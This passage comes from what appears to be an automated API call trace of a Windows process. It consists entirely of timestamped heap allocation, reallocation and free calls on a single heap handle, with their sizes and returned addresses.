(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1508 [0071.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1520 [0071.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad04a0 [0071.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad04b0 [0071.918] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad04a0, Size=0x14) returned 0x2ad04c0 [0071.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04b0 | out: hHeap=0x2ad0000) returned 1 [0071.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1520 | out: hHeap=0x2ad0000) returned 1 [0071.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1508 | out: hHeap=0x2ad0000) returned 1 [0071.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14f8 | out: hHeap=0x2ad0000) returned 1 [0071.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04c0 | out: hHeap=0x2ad0000) returned 1 [0071.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad2708 [0071.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad5dc8 [0071.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad2708 | out: hHeap=0x2ad0000) returned 1 [0071.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad14f8 [0071.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1508 [0071.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1520 [0071.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6588 [0071.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6558 [0071.919] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6588, Size=0x14) returned 0x2ad04a0 [0071.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0071.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1520 | out: hHeap=0x2ad0000) returned 1 [0071.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1508 | out: hHeap=0x2ad0000) returned 1 [0071.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14f8 | out: hHeap=0x2ad0000) returned 1 [0071.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad2708 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad69d8 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad2708 | out: hHeap=0x2ad0000) returned 1 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14f8 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1510 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.920] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2ad04a0 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1510 | out: hHeap=0x2ad0000) returned 1 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14f8 | out: hHeap=0x2ad0000) returned 1 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x295) returned 0x2ad6fe8 [0071.920] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad14e0, Size=0x20) returned 0x2ad14e0 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad2708 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2ad1508 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1528 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6418 [0071.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.920] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6418, Size=0x14) returned 0x2ad04a0 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1528 | out: hHeap=0x2ad0000) returned 1 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1508 | out: hHeap=0x2ad0000) returned 1 [0071.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1508 [0071.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1520 [0071.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04a0 [0071.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6498 [0071.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0071.921] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6498, Size=0x14) returned 0x2ad04b8 [0071.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0071.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1520 | out: hHeap=0x2ad0000) returned 1 [0071.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04b8 | out: hHeap=0x2ad0000) returned 1 [0071.921] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad7288 [0071.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad7410 [0071.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad7288 | out: hHeap=0x2ad0000) returned 1 [0071.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0071.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2ad1520 [0071.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04a0 [0071.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65c8 [0071.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0071.922] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65c8, Size=0x14) returned 0x2ad04b8 [0071.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0071.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1520 | out: hHeap=0x2ad0000) returned 1 [0071.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0071.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04b8 | out: hHeap=0x2ad0000) returned 1 [0071.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1520 [0071.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad7288 [0071.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad7a18 [0071.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad7288 | out: hHeap=0x2ad0000) returned 1 [0071.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64d8 [0071.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04a0 [0071.923] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04b8 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6458 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0071.924] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6458, Size=0x14) returned 0x2ad04d0 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04b8 | out: hHeap=0x2ad0000) returned 1 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64d8 | out: hHeap=0x2ad0000) returned 1 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04d0 | out: hHeap=0x2ad0000) returned 1 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x218) returned 0x2ad8020 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad7288 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad8240 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad7288 | out: hHeap=0x2ad0000) returned 1 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04a0 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04b8 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0071.924] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2ad04d0 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04b8 | out: hHeap=0x2ad0000) returned 1 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04d0 | out: hHeap=0x2ad0000) returned 1 [0071.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04a0 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04b8 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6528 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6418 [0071.925] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6528, Size=0x14) returned 0x2ad04d0 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6418 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04b8 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04a0 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04d0 | out: hHeap=0x2ad0000) returned 1 [0071.925] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad14e0, Size=0x40) returned 0x2ad04a0 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6598 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04e8 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64c8 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0071.925] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64c8, Size=0x14) returned 0x2ad0500 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04e8 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0500 | out: hHeap=0x2ad0000) returned 1 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04e8 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6568 [0071.925] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0071.925] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2ad0500 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04e8 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0071.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0500 | out: hHeap=0x2ad0000) returned 1 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad7288 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04e8 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6568 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6508 [0071.926] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6568, Size=0x14) returned 0x2ad0500 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6508 | out: hHeap=0x2ad0000) returned 1 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04e8 | out: hHeap=0x2ad0000) returned 1 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0500 | out: hHeap=0x2ad0000) returned 1 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad8848 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04e8 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad65b8 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0071.926] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad65b8, Size=0x14) returned 0x2ad0500 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04e8 | out: hHeap=0x2ad0000) returned 1 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0071.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0500 | out: hHeap=0x2ad0000) returned 1 [0071.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad89d0 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad8b58 [0071.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad89d0 | out: hHeap=0x2ad0000) returned 1 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04e8 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6558 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.927] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6558, Size=0x14) returned 0x2ad0500 [0071.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04e8 | out: hHeap=0x2ad0000) returned 1 [0071.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0071.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0500 | out: hHeap=0x2ad0000) returned 1 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad89d0 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad9160 [0071.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad89d0 | out: hHeap=0x2ad0000) returned 1 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64b8 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04e8 [0071.927] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6588 [0071.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6548 [0071.928] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6588, Size=0x14) returned 0x2ad0500 [0071.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0071.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04e8 | out: hHeap=0x2ad0000) returned 1 [0071.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64b8 | out: hHeap=0x2ad0000) returned 1 [0071.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0500 | out: hHeap=0x2ad0000) returned 1 [0071.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad89d0 [0071.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad9768 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad89d0 | out: hHeap=0x2ad0000) returned 1 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2ad14e0 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04e8 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6508 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0071.929] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6508, Size=0x14) returned 0x2ad0500 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04e8 | out: hHeap=0x2ad0000) returned 1 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0500 | out: hHeap=0x2ad0000) returned 1 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad89d0 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04e8 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64a8 [0071.929] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6548 [0071.929] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64a8, Size=0x14) returned 0x2ad0500 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04e8 | out: hHeap=0x2ad0000) returned 1 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0071.929] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0500 | out: hHeap=0x2ad0000) returned 1 [0071.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0071.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad04e8 [0071.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6558 [0071.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6568 [0071.930] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6558, Size=0x14) returned 0x2ad0500 [0071.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6568 | out: hHeap=0x2ad0000) returned 1 [0071.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad04e8 | out: hHeap=0x2ad0000) returned 1 [0071.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0071.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad0500 | out: 